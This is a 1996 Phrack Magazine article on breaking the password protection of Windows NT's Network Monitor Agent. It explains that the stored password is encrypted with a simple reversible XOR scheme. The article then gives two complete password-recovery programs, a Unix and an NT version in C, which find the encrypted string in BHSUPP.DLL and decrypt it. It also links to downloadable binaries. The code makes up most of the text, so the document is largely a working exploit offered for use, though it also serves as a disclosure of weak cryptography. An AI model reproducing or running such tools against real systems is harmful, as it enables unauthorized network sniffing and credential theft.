                      	   ==Phrack Magazine==

             Volume Seven, Issue Forty-Eight, File 15 of 18


		Windows NT Network Monitor Exploitation

		         NetMon Encryption Hammer
			
   		    	  by the AON and Route 
			   for Phrack Magazine
		     May 1996 Guild productions, kid

		     comments to daemon9@netcom.com

	   Full exploit including binary dll's and execuatables:
    ftp.infonexus.com/pub/TooldOfTheTrade/Windows/NT/netMonExploit.tgz 


	[The intro]

	The Microsoft Network Monitor is a packet sniffer that runs under NT.  
It is a very robust and versatile packet sniffer, offering much more then
simple ethernet frame capturing.  It packs a robust capture/display filter
language, powerful protocol parsers, and one snappy GUI.  NetMon is 
delivered as part of the SMS package.  The user portion of the program 
calls upon the services of the Network Monitor Agent, which is a kernel driver
that ships with NT (3.5.x for sure, but I don't know about 3.1).  The Network 
Monitor Agent also provides an interface for a remote machine to connect and 
capture local data, provided it passes authentication. To restrict access, 
Network Monitor Agent utilizes a password authentication scheme.  Access has 
two tiers: priviledge to view previously captured sessions, and priviledge to 
actually use the sniffer to place the ethernet card in promiscuous mode.  The 
acutal encrypted password is stored as a 32-byte binary string in a 
dynamically linked library file called BHSUPP.DLL.  We have written code to 
extract this password from the dll and decyrpt it; we have broken the 
Microsoft Network Monitor password authentication system.


	[The low-down]

	The encrypted string is kept as binary data in: 
%SystemRoot%\system32\BHSUPP.DLL (in a default installation at least). 
BHSUPP.DLL is known to be different sizes between versions, so we cannot look 
for the encrypted string at a specific offset each time.  Instead we must 
search for a flag, and seek 32-bytes past this flag.  The flag is the 16-byte
string: "RTSS&G--BEGIN--".  (As a matter of note, there is a terminating 
footer also: "RTSS&G--END--".)


	[The encrypted truth]

	It is a simple encryption function, that takes random length string 
and returns 256-bit encrypted output.  It may appear to be a hash, rather 
than a block cipher, but it is not.  It does take a random length input,
and produce a fixed output, but the input is always padded to 32-bytes
(with nulls if necessary).  The input to the function is a user defined
arbitrary string.  The input is truncated to 16 bytes and then to pad 
out the array, the whole original password string is concatenated  on the 
truncated version, starting at the 16th byte.  It doesn't matter if the
resulting string is longer than 32 bytes, as the cipher ignores anything
past the 32nd byte.  So: "loveKillsTheDemon" becomes: "loveKillsTheDemo" 
and then: "loveKillsTheDemoloveKillsTheDemon".  If your password is  
smaller than 16  bytes, we get the 'hole-in-password' phenomena.  Since 
the array is intialized will nulls, and the password is still folded over to 
the 16th byte, these nulls remain.  This is easily visible from the first line
of output in our exploit code.  It also accepts empty password strings 
readily, without choking, which all Microsoft products seem willing to do all 
to easily.

	[The algorithm]

	The 32-byte string is put through 32 rounds of identical operations.
The outer for loop controls the value of the byte to be XORed with the
entire array that round (except for itself, see below).  The inner loop steps
through the entire byte array.  Each byte is permuted a total of 31 times 
(The discrepency comes from the test case where i must not be equal to j in 
order for a character to be permuted.  It would make no sense to XOR a byte 
with itself).  So, there are a total of 992 operations.  The actual 
encryption algorithm is quite simple:

In C:			if(i!=j)mix[j]^=mix[i]+(i^j)+j;

In English:		if i is NOT equal to j, the j indexed char of mix is 
			assigned the value of the j indexed char of mix XORed 
			with the i indexed char of mix PLUS i XORed with j 
			PLUS j.

Mathematically:		1) i ^ j = k
			2) k + j = l
			3) l + mix[i] = m
			4) m ^ mix[j] = x

			OR

			((i ^ j) + j + mix[i]) ^ mix[j] = x 


	The methods used for obscurity are exclusive OR (XOR) and binary 
addition, (see the appendix if you are umfamiliar with these bitwise 
operations) with completely known vectors.  The only unknown in the whole 
equation is the user entered password, fleshed out to 32-bytes.  These 32
bytes are taken through 32 rounds of permutations.  Simple and concise, 
with no key material dropped, this algorithm is not lossy.  Since it is not 
lossy it is 100% reversible, both in theory and practice.  In fact, since we 
know the values of the counters i and j, throughout the entire encryption 
process, decryption is simply a matter of reproducing these values in the 
proper order.  Since the output of the encryption process is the input, 
taken through 32 rounds of identical permutations, with known vectors, 
we simply need to reverse this process.

	[The code]

	There are two versions of the exploit available.  A Windows NT version
and, for those of you without access to an expensive NT-native compiler, 
there is a Unix version as well.  The NT version is a console-based app, as
GUI code would be a waste of time.  The full package of this exploit, along
with an NT exexcutable and sample DLL's is available from:
    ftp.infonexus.com/pub/ToolsOfTheTrade/Windows/NT/netMonExploit.tgz 


	[The discussion]

	The ramifications of this weak encryption in Network Monitor Agent are 
many.  First off, the developers of Network Monitor Agent *didn't* use the 
standard security mechanisms of Windows NT.  This may be because the driver is
a kernel mode driver, and in NT the kernel is a trusted enity, therefore 
the standard security API (of Win32) does not apply in the kernel making it 
harder to do user authentication.  It also appears that they were trying to 
achieve a mechanism based not on priviledge, but on knowledge.  It is very 
likely that in secured environment not all administrators should be able to 
sniff the network.  The problem is they did a *poor* job of securing a 
powerful utility.
	The most straight forward attack is use Network Monitor to sniff the 
network (where you weren't suppose to be able to) for priviledged user data or
passwords in a heterogeneous environment (since native NT networking does not 
send password information in the clear, but standard TCP traffic from Unix
is sent clear).  The rest of the attacks would come from shabby administration
, such as the administrator used the password for the admin account and the 
capture password in Network Monitor Agent (stupid, but likely) or the 
same password for Network Monitor Agent on all machines across the network.
	In order to use the exploit utility, one must have read priviledge for 
BHSUPP.DLL which is installed into %SystemRoot%\system32 by default.  This 
is not a remote attack, but rather a stepping stone to gain priviledged 
information when one is under-priviledged.

	[The moral]

	Time and time again we see either shody implementations of trusted
algorithms, or, like in this case, just plain bad cryptography.  Under ITAR,
most secure cryptographic algorithms are classified as munitions, and are not
exportable from this country.  The funny thing is, under current law, one-way
hashing functions are *not* restricted (that is why all Unix variants can ship
with the standard crypt(3) libraries and executables).  This authentication
scheme could have *easily* been replaced by MD5, the same one-way hash used
by PGP.  At least then, the complexity of an attack would be increased to
a brute-force known-plaintext sweep of key values...



	[The appendix]

	For the binary-declined...

Exclusive OR

The XOR operation is a bitwise operation with the following truth table:

	XOR| 1 | 0 |		The Exclusive OR operation simply says:
	-------------		"...Hmmm, if I have a 1 and a 0, I'll spit
	1  | 0 | 1 | 		out a 1.  Anything else, a 0..."
	-------------
	0  | 1 | 0 |


Binary addition

Binary addition is analogous to base10 addition.  However, each place holds
2^n instead of 10^n...

	add| 1 | 0 | 		base10:		base2:
	-------------		    11            1011
	1  |1 0| 1 | 		   + 5          + 0101
	-------------              ---          ------
	0  | 1 | 0 |                16		 10000




This exploit made possbile by a grant from the Guild corporation.

- May 07, 1996 route/aon


	[The Sourcecode]
	[Unix Version]

/*

Network Monitor Exploitation code, Unix version
coded by daemon9
The Guild, 1996

*/


#include<string.h>
#include<stdio.h>
#include<fcntl.h>

#define fbufsize 	8192
#define flag 		"RTSS&G--BEGIN--"
#define VERSION		"Unix version\n"
#define BUFSIZE 	48
#define DLLNAME 	"./BHSUPP.DLL"

int main()
{
	char *swirl(char *,int);
	char *recover(char *);
	void hexonx(char *);

	char werd[]={"\n\n\n\n.this code made possible by a grant from the Guild corporation.\n\0"};
	char *plain,*tmp,*fname,*encrypted;
	int c;

	printf(werd);
	printf("\nNetMon Password Decryption Engine ");
	printf(VERSION);
	printf("\t1.\t\tEncrypt a plaintext password from STDIN.\n");
	printf("\t2.\t\tDecrypt a plaintext password from the dll.\n");
	tmp=(char *)malloc(10); 	/* Can't switch getchar() as it locks the */
	bzero(tmp,10); 			/* fucking stream and makes futher I/O buggy*/
	switch(atoi(gets(tmp))){
		case 1:
			printf("Enter password to be encrypted (note echo is on, as it would be a moot point\nto turn it off)\n->");
			plain=(char *)malloc(BUFSIZE);
			bzero(plain,sizeof(BUFSIZE)); 
			gets(plain); 
			hexonx(swirl(plain,0));
			break;
		case 2:
			printf("Enter name and path of DLL [./BHSUPP.DLL]:");
			fname=(char *)malloc(BUFSIZE);
			bzero(fname,sizeof(BUFSIZE));
			gets(fname);
			if(fname[0]==0)strcpy(fname,DLLNAME);
			if(!(encrypted=recover(fname))){
				printf("Could not locate flag\n");
				exit(1);
			}
			hexonx(swirl(encrypted,1));			
			break;
		default:
			printf("\nFine.\n");
			exit(0);
	}
	return 0;	
}

/*
swirl is the encryption/decryption function.  It takes an arbitrary length
string and, depending on the value of the mode variable, encrypts it or
decrypts it.  It returns a pointer to the string.
*/

char *swirl(byteStr,mode)
char *byteStr;
int mode;
{
	int i=0,j=0;
	char *mix,roundAndround[32][32];
	void hexonx(char *);

	mix=(char *)malloc(sizeof(byteStr));


	if(!mode){
		memset(mix,0,32);			/* set 32 bytes of memory to 0 */
		strncpy(mix,byteStr,16);          	/* copy the first 16 bytes of the password into the mix*/
		memcpy(&mix[16],byteStr,strlen(byteStr));   /* copy password into the 16th char of the mix; if mix and plain overlap, problems occur */

		printf("Password upon entering encryption rounds:\n");
		hexonx(mix);
		printf("\n\nbeginning 32 rounds of 'encryption'\n");
		for(i=0;i<32;i++)for(j=0;j<32;j++)if(i!=j){
			mix[j]^=mix[i]+(i^j)+j;			/* Sekret Enkripsion occurs here... */
			memcpy(&roundAndround[i][0],mix,32);	/* save a copy of each round */
						  }
		printf("\nDo you wish to view the encryption process round by round?[y]");
		switch(toupper(getchar())){
			case 'N':
				break;
			case 'Y':
			default:
			for(i=0;i<32;i++){
				printf("round %d:\n",i+1);     	/* print the rounds out in hex */
				hexonx(&roundAndround[i][0]);
				getc(stdin);
			}
		}
		printf("\nEncrypted output:\n");
		return(mix);
	}
	if(mode){
		strncpy(mix,byteStr,32);
		for(i=31;i>=0;i--)for(j=31;j>=0;j--)if(i!=j)mix[j]^=mix[i]+(i^j)+j;
		mix[32]=0;		
		printf("\n\n\nThe plaintext is: %s\nIn hex:\n",mix);
		return(mix);
	}
}

/* 
hexonx simply prints out 32 bytes of hexidecimal characters.
*/

void hexonx(byteStr)
char *byteStr;
{
	int i=0;
	for(;i<32;i++)printf("0x%x ",byteStr[i]);
	printf("\n");
}


/*
recover attempts to read the encrypted string from the dll 
*/

char *recover(fname)
char *fname;
{

	char buffer[fbufsize],*pass;
	int fd,i=0,j=0,demonFlag=0,offset,bufOffset=0;

	if((fd=open(fname,O_RDONLY))<=0){
		fprintf(stderr,"Cannot open %s\n",fname);
		exit(1);
	}
	while(read(fd,buffer,8192)){
		i=0;
		while(i<fbufsize&&!demonFlag){
				switch(buffer[i-4]){
					case 'R':
						if(buffer[i-3]=='T'&&buffer[i-2]=='S'&&buffer[i-1]=='S'&&buffer[i+1]=='G'&&buffer[i+2]=='-'&&buffer[i+3]=='-'&&buffer[i+4]=='B'&&buffer[i+5]=='E'&&buffer[i+6]=='G'&&buffer[i+7]=='I'&&buffer[i+8]=='N'&&buffer[i+9]=='-'&&buffer[i+10]=='-'){
							demonFlag++;
							bufOffset=i;
	/* Password is 32 bytes past end of header */	offset=j-4;
							printf("Encrypted Token Flag: '%s' located at offset 0x%x\n",flag,offset);
							printf("Encrypted password should be located at offset 0x%x\n",offset+48);
						}
						break;
					default:
				}
		i++;
		j++;
		}		
	if(demonFlag)break;
	}
	if(!offset)return(0);
	pass=(char *)malloc(BUFSIZE);
	bzero(pass,32);
	memcpy(pass,&buffer[bufOffset-4+48],32);
	
	printf("\nDo you wish to view the encrypted password?[y]");
		switch(toupper(getchar())){
			case 'N':
				break;
			case 'Y':
			default:
				hexonx(pass);
				getc(stdin);
		}
	return(pass);
}


	[The Sourcecode]
	[NT Version]



//	A Guild Production  1996  //
//	Constructed by AON  //

#define STRICT
#define MAX_FILE_SIZE 24576						//if BHSUPP.DLL grows, so must this
			
#include <windows.h>
#include <stdio.h>

void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword);
BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword);
void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile);

HANDLE g_hStdIn, g_hStdOut;						//global declaration of StandardIN and OUT


//	This is a console app.  ReadFile and WriteFile used throughout so StdIN and StdOUT
//  can be redirected.

void main(int argc, char* argv[])			
{
	HANDLE hTargetFile;						
	BYTE lpEncryptedPassword[32];		
	char lpszPlaintextPassword[17] = {0};
	char lpszOutputBuffer[80];
	char lpszTargetFile[MAX_PATH] = {0};
	char lpszUsage[] = "\nUsage: NMCrack [path to BHSUPP.DLL including filename]\n";
	LPTSTR lpszSystemDirectory = NULL;
	UINT nCount, nCount2;
	
	//set global handles
	
	g_hStdIn = GetStdHandle(STD_INPUT_HANDLE);	
	g_hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

	//check for standard NT help switch
	
	if(argc > 1 && argv[1][0] == '/' && argv[1][1] == '?')
	{
		//display usage info
		
		WriteFile(g_hStdOut, lpszUsage, sizeof(lpszUsage), &nCount, NULL);
			
		//exit with success
		
		ExitProcess(0L);
	}
	
	//if path and file name not specified on commandline try system directory first, because
	//BHSUPP.DLL is probably there
	if(argc == 1)
	{
		//findout how long path is for mem alloc
		nCount = GetSystemDirectory(lpszSystemDirectory, 0);	
															
		//do alloc of that size
		lpszSystemDirectory = malloc(nCount);		
	
		if(lpszSystemDirectory == NULL)
		{
			WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n", 
					  41, &nCount, NULL);

			ExitProcess(1L);
		}

		//get system dir
		GetSystemDirectory(lpszSystemDirectory, nCount);		
	
		//append file name to system directory
		sprintf(lpszTargetFile, "%s\\bhsupp.dll", lpszSystemDirectory);
		
		//release memory
		free(lpszSystemDirectory);
	}
	
	else
	{
		//get the commandline input
		strcpy(lpszTargetFile, argv[1]);
	}

	//try to open BHSUPP.DLL in the system dir or where the user instructed
	hTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ | 
							 FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 
							 FILE_FLAG_SEQUENTIAL_SCAN, NULL);

	//if not on the commandline or in the system dir ask user for path
	if(hTargetFile == INVALID_HANDLE_VALUE && argc == 1)
	{
		GetTargetFileFromUser(&hTargetFile, lpszTargetFile);
	}
	
	//user gave bad path or they don't have read permission on the file
	else if(hTargetFile == INVALID_HANDLE_VALUE)
	{
		//make error string because file open failed
		nCount2 = sprintf(lpszOutputBuffer, "\nUnable to open %s\n", lpszTargetFile);

		//write out
		WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);
	
		//exit with failure
		ExitProcess(1L);
	}

	//retrieve the encrypted password from BHSUPP.DLL
	if(!GetEncryptedPassword(hTargetFile, lpEncryptedPassword))
	{
		WriteFile(g_hStdOut, "Unable to retrieve encrypted password\n",
				  39, &nCount, NULL);

		ExitProcess(1L);
	}

	//cleanup handle
	CloseHandle(hTargetFile);

	//do the decryption here
	DecryptPassword(lpEncryptedPassword, lpszPlaintextPassword);

	//prepare for and print out results
	nCount2 = sprintf(lpszOutputBuffer, 
					  "\nThe Network Monitor Agent capture password is %s\n",
					  lpszPlaintextPassword);

	WriteFile(g_hStdOut, lpszOutputBuffer, nCount2, &nCount, NULL);

	//close StandardIN and StandardOUT handles
	CloseHandle(g_hStdIn);

	CloseHandle(g_hStdOut);

	//exit with success
	ExitProcess(0L);
}


//Ah yeah, here it is.
void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword)
{
    register int outer, inner;

    //go backwards through loops to undo XOR
	for ( outer = 31; outer >= 0; outer-- )
    {
        for ( inner = 31; inner >= 0; inner-- )
        {
            if ( outer != inner )
            {
				lpEncryptedPassword[inner] ^= lpEncryptedPassword[outer] + 
											  (outer ^ inner) + inner;
            }
        }
    }

    //since the original password was folded to fill 32 bytes only copy the first 16 bytes
	memcpy(lpszPlaintextPassword, lpEncryptedPassword, 16);

	//zero terminate this baby just incase it is actually a 16 byte password (yeah, right!)
	lpszPlaintextPassword[16] = 0L;

	return;
}


//	get the path and file name for BHSUPP.DLL from the user in the case that it was
//  a custom install
void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile)
{
	char lpszPrompt[] = "\nFull path to BHSUPP.DLL including file name: ";
	UINT nCount;

	WriteFile(g_hStdOut, lpszPrompt, sizeof(lpszPrompt), &nCount, NULL);

	ReadFile(g_hStdIn, lpszTargetFile, MAX_PATH, &nCount, NULL);

	//I had to account for the CR + LF that ReadFile counts in the nCount return value,
	//so I can zero terminate this string.
	lpszTargetFile[nCount - 2] = 0L;
	
	*phTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ | 
							 FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 
							 FILE_FLAG_SEQUENTIAL_SCAN, NULL);

	//too lazy to make the error message report the actual path and file name tried 
	if(*phTargetFile == INVALID_HANDLE_VALUE)
	{
		WriteFile(g_hStdOut, "Unable to open BHSUPP.DLL\n",
				  26, &nCount, NULL);

		ExitProcess(1L);
	}
}


//	This function allocs one big buffer and reads the whole damn DLL into it.
//	There is a flag string that marks the start of the section that contains the 
//	encrypted passwords (in the case that there is a display password too), so
//	we search for the first and last characters in the string.  If we hit on a match
//	we check about 50% of the chars in the string for a match.  This is a good
//	enough check based looking at the data.  I guess I could optimize memory usage 
//  here too, but 24K is not very much these days, so fuck it.
BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword)				   
{
	LPBYTE lpSearchBuffer;
	UINT nCount, i;

	//do the big buffer alloc
	lpSearchBuffer = malloc(MAX_FILE_SIZE);

	if(lpSearchBuffer == NULL)
	{
		WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n", 
				  41, &nCount, NULL);

		ExitProcess(1L);
	}

	//read in the entire file.  It is small enough that this takes trivial time to complete.
	ReadFile(hTargetFile, lpSearchBuffer, MAX_FILE_SIZE, &nCount, NULL);
 
	//do search for RTSS&G--BEGIN--  When it is found move 48 bytes past the R and copy
	//the encrypted password into the workspace
	for(i=0; i<nCount; i++)
	{
		if(lpSearchBuffer[i] == 'R' && lpSearchBuffer[i+14] == '-')
		{
			if(lpSearchBuffer[i+1] == 'T' && lpSearchBuffer[i+2] == 'S' &&
			   lpSearchBuffer[i+3] == 'S' && lpSearchBuffer[i+4] == '&' &&
			   lpSearchBuffer[i+8] == 'B')
			{
				//found password and coping it into the workspace
				memcpy(lpEncryptedPassword, &lpSearchBuffer[i+48], 32);
				
				//cleanup the mem alloc
				free(lpSearchBuffer);

				//return with success
				return TRUE;
			}
		}
	}

	//cleanup
	free(lpSearchBuffer);
	
	//it failed to find the marker string
	return FALSE;
}

